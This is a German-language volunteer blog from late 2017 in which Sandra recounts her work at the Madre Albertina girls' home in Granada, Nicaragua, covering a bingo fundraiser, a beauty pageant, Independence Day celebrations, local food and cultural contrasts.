Am Mittwoch war dann die große Abschiedsfeier, die gleichzeitig traurig und sehr amüsant war! Nach der Abschlussmesse und einem sehr leckeren Abendessen beisammen, führten die Mädchen noch zwei Weihnachtslieder auf, die ich die Wochen zuvor mit ihnen eingeübt hatte, wir Wichtelten und danach wurde auch schon die Musik aufgedreht! Wir tanzten, lachten und genossen den letzten geinsamen Abend! Da ich meinen Haustürschlüssel vergessen hatte, durfte ich auch noch die letzte gemeinsame Nacht mit den Mädchen verbringen. Manchmal bin ich über meine Vergesslichkeit doch ganz froh, denn auch mit dem Personal wurde noch bis tief in die Morgenstunden gelacht und an die ein oder anderen Momente des Jahres zurückerinnert.

Das letzte Gruppenfoto für 2017

Donnerstag, Tag der Abreise – aber nicht für uns. Erst am Freitag Abend hieß es für mich das letzte Mal für 2017 Feierabend zu haben, da wir noch alles aufräumten und den Jahresbericht erarbeiteten. Heute wurden dann alle Weihnachtseinkäufe erledigt und ich freue mich schon sehr morgen mit meiner Familie den Tag zu verbringen!

In diesem Sinne wünsche ich euch allen schöne Weihnachtstage und einen guten Rutsch ins neue Jahr!

Eure Sandra

 

Cola ist günstiger als Wasser

Sonntag, 03. Dezember 2017 von Sandra Abrantes Diaz

Schwarz und Weiß. Groß und Klein. Voll und leer. Hell und Dunkel. Tag und Nacht. All dies sind Gegensätze, die ganz eindeutig und selbstverständlich sind, aber in den letzten Wochen sind mir doch einige Merwürdigkeiten über den Weg gelaufen.

Zunächst sage ich euch, dass tatsächlich Cola günstiger ist als die Flasche Wasser (natürlich nicht die Originale ‚Coca Cola‘). Stelle man sich doch vor wieviele grundlegende Mineralien und Vitamine diese Cola mit einem sehr geringen Zuckeranteil hat. Natürlich soll man eher zu diesem sagenhaften Getränk einer ausgewogenen Ernährung greifen als zu einem Wasser. Ich finde dieses Sache ziemlich kontrastreich, während die Nicas nicht verstehen wieso die Deutschen (ich stellvertretend in diesem Sinne)  immer nur Wasser trinken.

Erschreckend fand ich, dass ich erst jetzt – nach fast vier Monaten – auf diese Unterschiede bewusst geachtet habe. So viel war am Anfang zu neu und hinzunehmen, dass scheinbar keine Zeit zum Hinterfragen und Reflektieren war. Als ich am Montag (genau, da wollte ich mich eigentlich von meiner langen stressigen Woche erholen) spontan in eine Schule im Barrio gegangen bin, um dort im Unterricht zu helfen, war ich in Granada 2.0! Da meine Wege noch nie bis an diesen äußeren Ring Granadas gereicht hatten, hatte ich das Gefühl das „richtige Granada“ kennenzulernen. Während im Zentrum Café neben Restaurant neben Karaoke-Bar grenzt, grenzt hier die Armut. Kinder, die auf der Straße ohne Schuhe, ungewaschen, nach essen fragend entgegekommen, Häuser, deren Konstruktion nicht beendet wurden und Türen fehlen. Bilder die mich zum Nachdenken brachten und noch viel mehr der Tag in der Schule. Hier bekommen die Kinder besonders in Englisch aber auch Mathematik und Spanisch Nachhilfe. Es ist also eine schulbegleitende Schule (verständlich?). Und kostenlos. Ein ganz tolles Projekt, dass hier vor ca fünf Jahren entstand und mir auch zeigt, woher meine Mädels aus dem Heim kommen. Viele sagten, dass sie in einem Barrio wohnen, aber wenn nun aus einer Vorstellung ein eigenes Bild wird, merke ich, dass es mich sehr berührt hat. Einerseits war es so traurig, aber andererseits auch so schön zu wissen, dass die Mädchen in dem Heim gut aufgehoben sind!

Arm und Reich. Auch ein Kontrast. Aber wie ist dieser definiert? Wann ist man arm und wann ist man reich? Und wer entscheidet das? Hier ist der arm, der nicht liebt und jeder der reich, der sich liebt. Liebe ist wie Gold und deswegen versuche ich den Mädchen ganz viel Gold zu schenken. Reichtum macht Nicas nicht glücklich. Damit meine ich nicht, dass es Zuhause nicht genauso ist, aber hier ist diese Tendenz deutlicher zu spüren! Eine Mentalität die aus einem Geben besteht ist hier normal! Hier treilt nicht nur der Reiche mit den Armen, sondern such der Arme gibt etwas ab. Das beobachte ich oft wenn ich die Marktstrasse entlang gehe und sehe wie untereinander die Bettler teilen, aber auch die Marktfrauen dem Nachbarstand Kundschaft bringt. Eine  ganz ungewohnte Situation für mich, dass mir dann noch Schuhe bei der eigentlichen ‚Konkurrenz ‚ gezeigt werden, die mir gefallen könnten. Stelle man sich das doch nur einmal vor. Mit dem Morgengrauen fängt die Arbeit dort für die Menschen an und hört erst auf, wenn ein bestimmtes Pensum verkauft ist. Und jetzt helfe ich meiner Konkurrenz, dass sie auch verkauft. Einfach liebevoll! Und das ist sehr beneidenswert.

Das Denken ist in mancherlei Hinsicht noch ein wenig schwer nachzuvollziehen, aber ich bemühe mich auch dies anzunehmen. Ich gehe bei Fieber unter eine warme Decke, um zu schwitzen und trinke warmen Tee. Im Heim soll ich das Kind kalt duschen, ein kaltes Tuch auf die Stirn legen und eiskaltes Wasser zu trinken geben. Sehr verwirrend! Genauso wie ich irritiert bin von ihnen, ging es ihnen aber als ich von dem erzählte wie ich es kenne.

Machismo gehört zur Religion. Ja, dass kann man hier schon fast denken. Zum Einen ist der Glaube hier von sehr großer Bedeutung! Letztens waren wir ganze zwei Stunden vor Messbeginn in der Kirche, um gerade noch einen Sitzplatz zu finden (dazu im nächsten Blog aber mehr). Die täglichen Gottesdienste um 6.30 Uhr in der Früh sind gut besucht. Ich finde es so schön wie der Glaube Kraft gibt und Zusammenhalt! Diese Gemeinschaft ist hier sehr stark zu spüren, aber auch die typische ‚Dorfgemeinschaft‘, weil hier jeder jeden kennt. Tja, meine Anwesenheit ist auch nicht unbemerkt geblieben und es passiert, dass mir fremde Personen sagen, dass sie mit meiner Gastoma, Gastmutter oder sonst einem Familienangehörigen befreundet seien. Aber ich finde es schön, dass man sich untereinander kennt und dadurch auch hilft. Neben dieser so traditionellen Seite steht der nicaraguanische Machismo. Es ist eine Seltenheit nicht irgendwelche Schmeicheleien hinterhergerufen zu bekommen. Ist das nicht paradox, dass so sehr an die Gott, die Heilige Maria, sie Gleichheit und Nächstenliebe geglaubt wird, während zugleich in die Intimsphäre der Frau eingegriffen wird?

Wie ihr seht stelle ich fest, wie spannend und kontrasreich das einfach „Sein oder Nicht-Sein“ hier ist. Dass die Cola günstiger ist als das Wasser wird mich durchaus nicht verlocken und genauso wenig möchte ich barfuß durch die Straßen gehen. Wie gut, dass mir außer an ein wenig Schlaf nichts fehlt (auch dank meiner sehr lieben gastfamilie!).

Mit anderen Worten ich fühle mich wie ein Barren Gold 🙂

 

Eure Sandra

 

Ein Jahr im Mädchenheim Madre Albertina geht zu Ende

Montag, 27. November 2017 von Sandra Abrantes Diaz
 

Spieglein, Spieglein an der Wand…

Freitag, 10. November 2017 von Sandra Abrantes Diaz

…Wer ist die Schönste im ganzen Heim?

In diesem Monat haben wir den Tag der Resistencia indígena gefeiert. Am 12. Oktober haben wir im Heim dieses Fest mit einer Miss-Wahl gefeiert. Das war ein sehr schöner und besonders lustiger und abwechslungsreicher Tag. Auch die Mädchen haben es sehr genossen, dass der Alltag einfach einmal bei Seite geschoben wurde.

Die Kandidatinnen

Zuvor hatten sich je zwei Kandidaten für Miss Chiquitita, Miss Princesa und Miss Reina durch Abstimmungen durchgesetzt. Sie konkurierten also in drei Altersklassen. Da es bei diesem Wettkampf nicht in unserer Hand liegen sollte, wer von den Mädchen gewinnt, kamen zwei Frauen von außerhalb, die die Mädchen nicht kennen und stellten die Jury dar. In drei Kategorien traten dann die Mädchen an und jetzt wurde es erst einmal hektisch, denn in wenigen Minuten hieß es Anziehsachen zu finden. In einem kleinen Abstellraum haben die Erzieherinnen und ich zusammengequetscht die Spenden, die ins Heim gebracht werden für die Mädchen, nach einem sportlicher Kleidung und Abendkleidern durchsucht. Währenddessen mussten sich die Mädchen auf den schwierigen Teil der ganzen Miss-Wahl vorbereiten. Es gab verschieden Fragen bezüglich der Bedeutung des Tages und den Glauben, auf die sie später überzeugend antworten mussten.

Alles in allem war es unglaublich hektisch, weil dann noch die Schuhe fehlten, die Frisur nicht gefiel und die Kandidatinnen immer nervöser wurden. Auch ich fieberte eifrig mit und fand es so schön zu sehen wie alle begeistert auf diese Aktivität warteten. Es wurden noch Plakate gebastelt, der Saal hergerichtet und dann ging es los!

Siegerinnen

Die Krone wird abgegeben

Nach den drei Präsentationen sportlich, folklorrich und schick, ging es in die Fragerunde. Es war unglaublich süß, wie nervös auf einmal die Mädchen wurden. Normalerweise kenne ich sie so offen und zappelig, aber in diesem Moment zitterten bei der einen die Beine, bei der anderen die Hand. Und dann standen unsere Siegerinnen fest! Die ,Ex-Majestäten‘ mussten ihre Krone abgeben und es gab viele Umarmungen und es war auch keine traurig, dass sie nicht gewonnen hat.

Es war so schön anzusehen, wie sich die Mädchen untereinander unterstützthaben, Sachen geliehen haben und es auch jeder gegönnt haben. hier gign es Ihnen in erster Linie nicht um den Sieg, sondern die Vorbereitung und die Show stand für sie viel mehr im Vordergrund, was ich unglaublich bewundere!

 

…wer ist die zweite in diesem Land?

Diesen Monat ging es für mich nach Juigalpa, um dort Lea, die zweite Sternsingerin an meiner Seite zu besuchen. Die Fahrt dorthin war ein wenig umständlich, weil ich nachdem ich Managua, die hauptstadt erreicht hatte dort noch ans andere Ende der Stadt musste, um die Bushaltestelle zu erreichen, ab der die Busse nach Juigalpa abfahren. Bei Lea angekommen, durfte ich ein frisches kühles Klima erleben und unglaublich viele Mücken.

Von ihrer doch sehr großen Gastfamilie wurde ich auch ganz herzlich begrüßt und lecker bekocht. Am nächsten Morgen ging es  mit Lea also auf eine große Sightseeingtour, wobei wir denke ich die größte Attraktion waren. Während ich in Granada entspannt durch die Straßen laufe, merkte ich wie sehr die Blicke auf uns „Weiße“ gerichtet waren. Juigalpa wird nicht von Touristen angefahren und daher waren wir wirklich die einzigen „Nicht-Nicas“, was durchaus schön war, um in ein traditionelles Leben einzutauchen.

Üblich ist es hier noch, dass man mit Pferden seine Wege macht, dass es keine Straßen gibt, dass es keinen Markt gibt und dass man im Grünen wohnt. Wie unterschiedlich ein Land doch sein kann, nicht wahr? Im Zentrum Granadas ist es nämlich sehr touristisch und laut. Hier sind auch alle Straßen asphaltiert und es gibt zwei große amerikanische Supermärkte.

Der Aussichtspunkt

Berg rauf Berg runter leifen wir dann bis zu einem Aussichtspunkt, der einfach traumhaft schön war. Über die ganze Stadt bis weit ins Land konnten wir den Ausblick genießen. Nach einer Runde im Park und der Kirche war dann alles gesehen und wir konnten uns über die letzten Wochen austauschen, was unglaublich gut getan hat.

Am nächsten Vormittag habe ich dann noch Leas Projekt kennenlernen dürfen und war auch sehr begeistert! Mal sehen, wann es dann wohl für die Kinder in meinem Projekt ein neues deutsches Gesicht gibt…

Juigalpa

Eine von vielen steilen Straßen

 

 

 

… wie geht die Arbeit im Projekt voran?

In den letzten Wochen merke ich wie sehr das Heim für mich mein zweites Zuhause geworden ist und auch das Umfeld mir sehr vertraut wird. Mittwochs begleite ich die Mädchen immer um 6.30 Uhr in die Messe und heute wurde ich sogar in den Fürbitten von Priester erwähnt, was mir ehrlichgesagt in diesem Moment sehr unangenehm war, da ich nie daran gedacht habe, dass nicht nur für die Kinder, die ich unterstütze, sondern auch für mich gebetet wird. Natürlich habe ich mich in diesem Moment auch sehr gefreut mit ins Gebet genommen zu werden und Dankbarkeit für mein Dasein zu erhalten!

Außerdem laufen momentan viele Vorbereitungen für den kommenden Monat, in dem mich ein viel stressiger Alltag einholen wird, da in zwei Wochen hier die großen Sonmerferien anfangen werden. Dann werden wir vierundzwanzig Stunden die Mädchen im Heim haben, keine Hausaufgaben und auch keine Bügelstunde für die Uniform etc. Derzeit sammle ich viele Bastelideen, um besonders mit Recyceltem Material zu arbeiten. Die Ergebnisse werde ich euch dann in den nächsten Wochen präsentieren!

Dass ich im Heim Madre Albertina meinen Alltag gefunden habe merke ich auch daran, dass die Mädchen ein engere Bindung zu mir gewonnen haben. Kleinigkeiten sind es die mir zeigen, dass ich mittlerweile auch für sie Teil der „Familie“ geworden bin. Besonders freue ich mich, dass ich Firmpatin sein werde von einem Mädchen! Genauer berichte ich dann wenn es so weit ist.

Wie jeden Monat wurden auch für Oktober die Mädchen prämiert, die sich gut benommen haben. Deshalb ging es nach Rivas, um dort zunächst einen Pilgerort zu besuchen und danach fuhren wir in die Stadt und konnten den Nachmittag zusammen genießen. Immer mehr lerne ich von den Kindern, dass jeder Moment schön sein kann, solange du dich glücklich machst. Einfach nur an das Positive zu denken und dass was einen stört nicht allzu sehr zu gewichten habe ich in dieser Zeit definitiv gelernt! Besonders die Rückfahrt mit den drei Jugendlichen wurde sehr witzig. Zwar war es schon dunkel und wir mussten draußen auf der Transportfläche die lange Fahrt verbringen, aber wir haben uns mit Singen und Tanzen beschäftigt. Während also drei gesungen haben musste eine die Hüfte schwingen. Das zeigt wie normal diese Kinder sind und nicht vielmehr als ein bisschen Freiraum brauchen, um Spaß zu haben.

 

Die Aussicht auf den Volkan Concepcion

Auf dem Weg nach Rivas

 

 

 

 

 

 

 

 

 

Ich melde mich schon bald wieder und wüncshe euch ein frohes Martinsfest

Eure Sandra

 

47, 16, 30 – BINGO!

Dienstag, 31. Oktober 2017 von Sandra Abrantes Diaz

„Wer nimmt diesen Gewinn mit nach Hause? Ich wiederhole sie letzten Zahlen und jetzt wird es spannend! … 61“ – „Bingo!“ – „Herzlichen Glückwunsch! Dieser Sack Zucker gehört ihnen!“ …

So etwa ging es den vergangenen Sonntag ganze sieben Stunden. Ja, einfach unglaublich wie fast neunhundert Gäste zu unserem großen Bingo ins Heim kamen! Im Vorfeld habe ich schon mitbekommen, dass dieser Tag sehr besucht und die Vorbereitung viel Kraft kosten würde. Auch wenn ich viel ‚gewarnt‘ wurde, war es doch eine sehr anstrengende wochenlange Zeit der Vorbereitung und ein mindestens genauso anstrengender aber schöner Tag!

Zusammen bereiten wir Enchiladas vorhöner Tag!

Bereits Anfang Oktober durfte ich in Granda Großbestellungen für Fleisch und Hühnchen (das ist ja nicht dasselbe!) im Auftrag des Heims einreichen, es wurden neunhundert Tüten mit je dreißig Maiskörnern als ‚Setzsteine‘ gefüllt

(nein, danach habe ich nicht noch bei den Mathehausaufgaben geholfen!), ich habe Werbeplakate gestaltet und in der Stadt verteilt und vieles mehr! Gut organisiert ging es dann ab Samstag in der Früh in den Endspurt! Um sieben Uhr haben wir angefangen das Essen vorzubereiten. Es gab viele verschiedene typische Gerichte und ich war so erstaunt, dass wir für alle Gäste selber kochten. Während eine Gruppe das Fleisch für den Grill, die Suppe und einen Eintopf vorbereitete, schnibbelte ich mit meiner Gruppe das gesamte Gemüse und die kleineren Mädchen halfen dabei die Tische zu wischen und die Stühle aufzubauen. Gestärkt von einem leckeren Mittagessen ging es auch schon weiter, den Kleidungsbazar und den Trödelbazar vorzubereiten. Außerdem gilt es noch die Musikboxen aufzubauen und, und, und… Meine Füße waren mir alles andere als dankba, aber der Tag wollte ihnen bis tief in die Nacht keine Pause geben. Etwa bis 24 Uhr arbeitete das gesamte Team und wir machten zwei von drei Kreuzen, als wir in die Nacht geschickt wurden.

An diesem Tag sind die meisten Kinder zuhause geblieben und nur vier von den Kleineren sowie die Älteren halfen mit. Von außerhalb waren an diesem Tag viele helfende Hände gekommen und ich lernte auch ehemalige Mädchen aus dem Heim kennen, mit denen ich mich auch super verstanden habe, weil sie in meinem Alter sind! Es war ein sehr anstrengender, aber doch abwechslungsreicher Tag.

Mit einer kleinen Rede wird das Bingo eröffnet

Die Gewinne

Ein leckeres Mittagessen

Alles steht!

 

Auch wenn es nur Erwachsene waren, die sich ihren Schlafplatz in einem der leeren Betten suchten, ging das Licht erst um ein Uhr aus, denn einige wollten noch bügeln oder es  musste noch Bettzeug gesucht werden.

Nach schönen vier Stunden Schlaf, in denen ich jeden Muskel spürte, war der Tag also gekommen! Die letzten Sachen wurden gemacht und um sieben Uhr kamen auch schon die anderen Mädchen von zuhause mit ihren Müttern, denen jeweils ein Stand zugeteilt wurde.

Nach Öffnen der Tür füllten sich die leeren Plätze in Windeseile und die ersten suchten schon nach einem leckeren Frühstück. Ja, es wunderte mich schon gar nicht mehr, dass ich um 9.30 Uhr gefragt wurde, ob es schon gegrilltes Hühnchen gäbe. Ich durfte auch frittiern, was mich ein bisschen angeschlagen hat. Etwa vier Stunden stand ich am Feuer und musste danach mein Gesicht erst einmal mit eisklatem Wasser waschen und eincremen. Ich war es nicht gewohnt und meine Augen fingen an zu brennen, mein Atem wurde schwer… Aber es ist alles gut gegangen 🙂

Am Ende hatte ich auch noch Zeit, um etwas Bingo zu spielen, im Bazar zuzuschlagen und mir leckeres Essen zu holen! Nur eine Nummer fehlte mir in der letzten Runde, aber ich sollte wohl nicht der stolze Besitzer eines neuen Fahrrades werden…

Die Bingo-Karte

Dieser Tag war ein so großes Erlebnis für mich, besonders weil ich auch in der Rolle des Gastgebers war. Nach so vielen Stunden und so viel Kraft, die wir in diese Veranstaltung gesteckt haben, lief alles sehr gut und der Tag ging im Nu vorbei! Als ich dann am späten Abend, nach dem Abbau, wieder Zuhause war, verabschiedte ich mich sofort in mein Bett und genoss die Ruhe!

BINGO – dieser Tag war super!

Eure Sandra

 

Nach zwei Monaten – Fast schon eine Nica

Mittwoch, 04. Oktober 2017 von Sandra Abrantes Diaz

Jetzt bin ich schon seit zwei Monaten von Zuhause weg und muss feststellen, wie schnell einerseits die Zeit vergangen ist und andererseits wie viel ich schon gesehen und erlebt habe.

In den letzten Wochen im Projekt habe ich mit einigen Mädels sehr persönliche Gespräche geführt, die mir  gezeigt haben, dass ich für sie nicht die „Deutsche“ bin, sondern auch eine Freundin und Teil der ganzen Gruppe. Besonders die älteren Mädchen suchten bei mir nach Antworten, aber auch nach einer Umarmung und Verständnis. So gerne ich auch dem Wunsch der Mädchen nachkommen möchte, dass wir einmal wöchentlich Zumba tanzen (der Tanzlehrer nennt sich nicht Sandra, sondern „Youtube“), so unmöglich ist es aufgrund der wenigen Zeit die wir haben. Der Tagesablauf ist hier sehr geregelt. Aufstehen ist um 4.30 Uhr, Frühstück um 6 Uhr und danach werden die Älteren auch schon vom Schulbus abgeholt und kommen erst um 13 Uhr zum Mittagessen. Danach waschen wir zusammen und es werden Hausaufgaben gemacht. Jetzt ist es etwa 16 Uhr und wir könnten tanzen. Wir könnten, denn dir Mädchen erhalten verschiedenen Unterricht außerhalb der Schule: Zwei Mal die Woche gibt es Computerunterricht, ein Mal Religionsunterricht, einmal beten wir zusammen den Rosenkranz und am anderen Tag gibt es eine Art „Mädchenstunde“, in der die Mädchen besondern über Krankheiten und sexuelle Gewalt aufgeklärt werden. Ich hoffe aber sehr, dass ich euch bald berichten kann, dass wir nachmittags das Programm für die älteren Mädchen ein wenig modofizieren konnten.

 

Sportttag mit 30 Mädchen

Gruppenfoto nach dem Sport

Am Freitag hatten die Mädchen keine Schule. Das ist hier jeden letzten Freitag im Monat. Deswegen haben wir, das Personal, einen Sporttag

organisiert. Los ging es morgens mit dem Einteilen der vier Gruppen und dem Gestalten eines Logos. Gestärkt in ihrem Teamgeist durften die Teams in verschidenen Spielen gegeneinander antreten.

Wir haben unglaublich viel gelacht, geschwitzt und für Muskelkater gesorgt! Stolz hat mein Team den ersten Platz belegt und sich einen leckeren Preis abgeholt. Es gab Schokokekse!

Am Nachmittag haben wir ein Mädchen aus dem Heim besucht, dass vor einigen Wochen operiert wurde und sich leider noch nicht gut von der Operation erholt hat, da sie sich eine Infektion eingeholt hat und muss vermutlich erneut ins Krankenhaus. Wir wünschen ihr alle eine schnelle Genesung!

 

 

Happy Birthday! Feliz Cumpleaños!

Diesen Monat durfte ich gleich an drei Geburtstagen teilnehmen, die so unterschiedlich waren! Zuerst wurde meine Arbeitskollegin 25 und wir gingen mit dem Personal in Granada gemeinsam raus. Das hat mir sehr gut getan, weil ich für sie dazugehöre und sie sich mir auch anvertraut haben über Schicksäle, die ihnen verfahren sind und sie mit mir teilen wollten. „Weil du unsere Freundin bist“ sagten sie!  Und so fühle ich mich auch. Die Arbeit war an diesem Arbeit ein „Tabu-Thema“ und so konnten wir viel persönlicher miteinander reden.

Geburtstagsfeiern

Danach ging es auf den Geburtstag des Neffen meiner Kollegin, der sechs wurde. Vor dem Haus wurden Plastikstühle aufgestellt, Musik laut gedreht, Essen und Trinken verteilt, eine Piñata aufgehangen und nach dem leckeren (aber natürlich viel zu süßen) Kuchen getanzt. Ich kannte niemanden und dennoch waren alle so herzlich zu mir. Groß und Klein haben zusammen getanzt.

Zum Ende des Monats feierte Julia, meine Gastschwester, ihren 14. Geburtstag. Da hier der 15. Geburtstag groß gefeiert wird (etwa wie bei uns der 18.), gab es dieses Jahr keine Feier. Dennoch haben die Eltern an sie gedacht und um 5 Uhr wurde ich diesmal nicht vom Hahn des Nachbarn wach, sondern von Geburtstagmusik. Es gab einen Geburtstagskuchen, sowie viele Umarmungen und Glückwünsche. Da ich arbeiten musste, konnte ich nicht mit ihr den Tag verbringen, aber umso überraschter war ich, als ich nach Hause kam und sich auf einmal die Familie im Wohnzimmer versammelt hatte. Man muss hier niemanden einladen, es ist selbstverständlich, dass du an dem Geburtstag deiner Familie denkst und sie an diesem Tag besuchst. So wurde Musik angemacht, im Wohnzimmer getanzt, Kuchen gegessen und ihre Patentante bestellte Pizza. Danach haben wir noch zusammen aufgeräumt und gingen spät ins Bett.

 

Die Vielfalt der Natur

Am Wochenende habe ich mich in der Umgebung auf die Suche nach einem ruhigen Ort gemacht, um nach einer stressigen und arbeitsreichen Woche zu entspannen. Was ist dann passender als die Lagune. Also fuhr ich am Sonntag dorthin und entspannte dort. Obwohl es regnete konnte ich bis in den Nachmittag in einer Hängematte entspannen und mit einer Freundin den Tag genießen. Am Montag wurde ich morgens wieder mit Regen begrüßt, was mich zwar ärgerte, aber nicht von meinem Plan abhielt, den aktiven Vulkan Masaya zu besteigen. Okay, ich wollte ihn besteigen, aber da er momentan zu aktiv ist, wurde ich dann dort hoch gefahren. Mit viel glück ging ich bei der Kontrolle als Nica durch. Auch wenn im heim Besuch ist sind die Gäste irritiert, wenn ich erzähle, dass ich aus Deutschland sei. Mein erster Vulkan! Man konnte bis tief in den Krater schauen, es war einfach unglaublich!

Die Lagune de Apoyo

Der Vulkan Masaya

 

Reis und Bohnen

Typisches nicaraguanisches Frühstück

Das esse ich. Jeden Tag. Jetzt denkt ihr vermutlich, dass ich es nicht mehr sehen kann, aber so ist es nicht. Hier wird morgens Gallopinto (Reis mit Bohnen) gefrühstückt, welcher mit Ei, Käse und Kochbananen serviert wird. Die anderen traditionellen Gerichte in Nicaragua sind meist basierend auf Hühnchen oder Fleisch. Richtig, ich habe hier gelernt, dass Hühnchen kein Fleisch ist. Genauso habe ich auch gelernt, dass Käse nicht gleich herzhaft ist. Als es mich in eine Bäckerei zog (die große Sehnsucht bach Brot hat schon begonnen!), stellte ich zunächst fest, dass es hier nur das weiche Brot, welches man von Hot Dogs oder Burgern kennt, in variierter Form und Größe gibt. Also nahm ich etwas, dass etwas anders aussah und mit Käse sein sollte. Ein Biss und ich erlebte den Genuss eines Süßgebäcks. Gut, also ich denke ich vertraue nicht mehr auf das, was drin ist, sonders probiere mich durch die Leckereien, um richtig urteilen zu können. Lecker war es dennoch!

Die Vielfalt von Reis und Bohnen begleitet also den ganzen Tag. Auch wenn es Nudeln gibt, ist die Beilage immer Reis mit Bohnen. Eigentlich ganz simpel, denn es ist für Nicas wie für uns das Brot.

Zu meinem Lieblingsgericht ist hier etwas geworden, was auch für Nicas als große Delikatesse gilt. Als ich zum ersten Mal kosten durfte, musste ich schmunzeln. Mit großen Worten wurde mir gesagt, dass es heute etwas ganz besonderes geben würde. Ich hoffe meine Reaktion war nicht allzu irritiert. Die Delikatesse war Bohnensuppe mit Reis. Genau, das Gleiche wie sonst nur als Suppe und mit einem Spritzer Zitronensaft serviert. Aber auch ich freue mich jedes Mal, wenn es wieder Sopa de Frijoles gibt!
Ein bisschen möchte ich euch aber dennoch neidisch machen, denn die Obstvielfalt ist hier ganz anders. Ich darf hier lecker Drachenfrucht löffeln und auf Äpfel verzichten, denn die gibt es hier kaum und sind sehr teuer.

Wir sind vereint – 3. Oktober

Ein kleines Handbuch über Deutschland

Auch hier! Da für mich der dritte Oktober ein Feiertag ist, habe ich das mit den Mädchen teilen wollen, so wie sie auch mit mir ihre Festigkeiten teilen. Daher habe ich mir Gedanken gemacht und ihnen Apfelkuchen gebacken. Die Idee war schnell da, die Umsetzung schwieriger als gedacht. Am Ende habe ich mit meinen Kräften morgens um 6 Uhr den Teig zubereitet. Den habe ich dann mit ins Heim genommen, weil wir zuhause keinen Ofen haben und dort in einem Mikrowellenofen gebacken. Einer war natürlich wenig für 35 Personen, als wurden sie nacheinander gebacken. Das Resultat: Sie haben sich sehr gefreut!

Darüber hinaus bereitete ich noch kleine Karten vor, die ein wenig die Geschichte und den Hintergrund darstellen sollten.

Die Freude über ihren ersten Apfelkuchen war groß!

 

Viva Nicaragua!

Donnerstag, 21. September 2017 von Sandra Abrantes Diaz

Laute Rufe, viele Trommeln, tanzende Nicas und eine menge „Viva Nicaragua!“-Rufe erfüllten letzte Woche den Unabhängigkeitstag. Am 14. September war der Höhepunkt wochenlanger Vorbereitungen endlich Wirklichkeit geworden.

Im Allgemeinen habe ich schon festgestellt, dass in Nicaragua tatasächlich viel gefeiert wird. Es gibt immer einen Anlass, um laute Musik zu hören, Folklore (so nennt man den hier typischen Volkstanz) zu tanzen oder eine Piñata aufzuhängen. Begleitet wird das Ganze meistens mit lauten Trommeln und einer Menge Freude!

Meine Schwester und ich

Überall schienen sich die Menschen auf den 14. September vorzubereiten. In den Schulen wurden viele Sachen zu diesem Thema gebastelt und besonders viele Nachmittage für den Umzug geübt. Ja genau, anlässlich des Unabhängigkeitstag gab es hier in Granada einen großen Umzug, der von Schülern gestaltet wurde. Dabei war es für mich besonders beeindruckend, dass die besten Schüler in verschiedenen Kategorien (Sport, Mathematik, Kunst, …) und Altersklassen geehrt wurden. Hier ist es von großer Bedeutung zu den besten Schülern zu gehören, was – wenn wir mal ehrlich sind – in Deutschland nicht der Ehrgeiz der meisten Schüler ist.

Während die Besten auf der Bühne Platz nahmen, führte jede Schule mit ihren besten Schülern einen kleinen Akt vor. Diese waren entweder eine Tanzchoreografie oder ein Marsch mit Fahnenschwenken. Da meine Gastschwester in ihrem Jahrgang Primatin ist, hatte sie ebnefalls die große Ehre  eine Fahne tragen zu dürfen!

Da dieser Tag so wichtig für die Nicas ist, gibt es hier eine ganze Woche Ferien! Ja, also ganz so gut hatte ich es nicht, weil ich eine normale Arbeitswoche hatte. Während sich also viele Mädchen und alle Erzieherinnen in die Ferien verabschiedeten, ging der Alltag im Heim natürlich weiter. So genoss ich das erste mal eine Stille im Heim und entspannte Tage, an denen wir viel gebastelt und zusammen gekocht haben. Trotz allem habe ich natürlich nicht die Festlichkeiten verpasst!

 

 

Irgendwie wollte ich dann doch noch die Ferien ausnutzen (auch wenn es eigentlich ein normales Wochenende für mich war) und verbrachte zwei Tagr auf der Vulkaninsel „Ometepe“. Zusammen mit einer Freiwilligen fuhren wir nach Rivas und danach weiter mit der Fähre auf die Insel, ins Grüne. Dort trafen wir noch auf zwei Deutsche, die auf der Insel wohnen. Obwohl wir Pech mit dem Wetter hatten, konnten wir sehr gut entspannen und ich bin erholt in diese Woche gestartet.

Mit anderen Freiwilligen auf Erkundungstour. Hinter uns der Vulkan

 

Umgeben vom Nicaragua-See

 

Ojo de Agua – eine Mineralquelle zum Entspannen

 

Meine Arbeit im Heim läuft weiterhin sehr gut. Ich verbringe viel Zeit hier und mir macht es auch sehr viel Spaß! Ich habe mit jetzt auch ein Spanisch-Nica-Wörterbuch angelegt, denn auch ich muss hier einiges von ‚meinen‘ Mädels lernen!

Bis bald 🙂

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